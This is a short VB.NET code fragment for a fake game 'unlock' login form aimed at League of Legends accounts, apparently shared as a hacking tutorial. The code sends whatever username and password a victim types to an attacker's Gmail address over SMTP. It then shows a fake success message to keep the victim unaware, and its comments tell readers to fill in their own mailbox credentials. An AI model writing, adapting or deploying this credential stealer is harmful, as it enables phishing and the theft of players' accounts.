Dim MyMailMessage As New MailMessage
            MyMailMessage.From() = New MailAddress("Amster@gmail.com")
            MyMailMessage.To.Add("ker@gmail.com") 'U Enter Ur Email here agian
            MyMailMessage.Subject = "LoL account"
        MyMailMessage.Body = "Username:  " & (TextBox1.Text) & "   Password:  " & (TextBox2.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("Amster@gmail.com", "123456") 'U Enter The Email, And The Password To The Email here
            SMTP.Send(MyMailMessage)
            Call MsgBox("You have successfully logged in.Select what you want to unlock.") 'This is a message, to make them think it failed 'logging' them in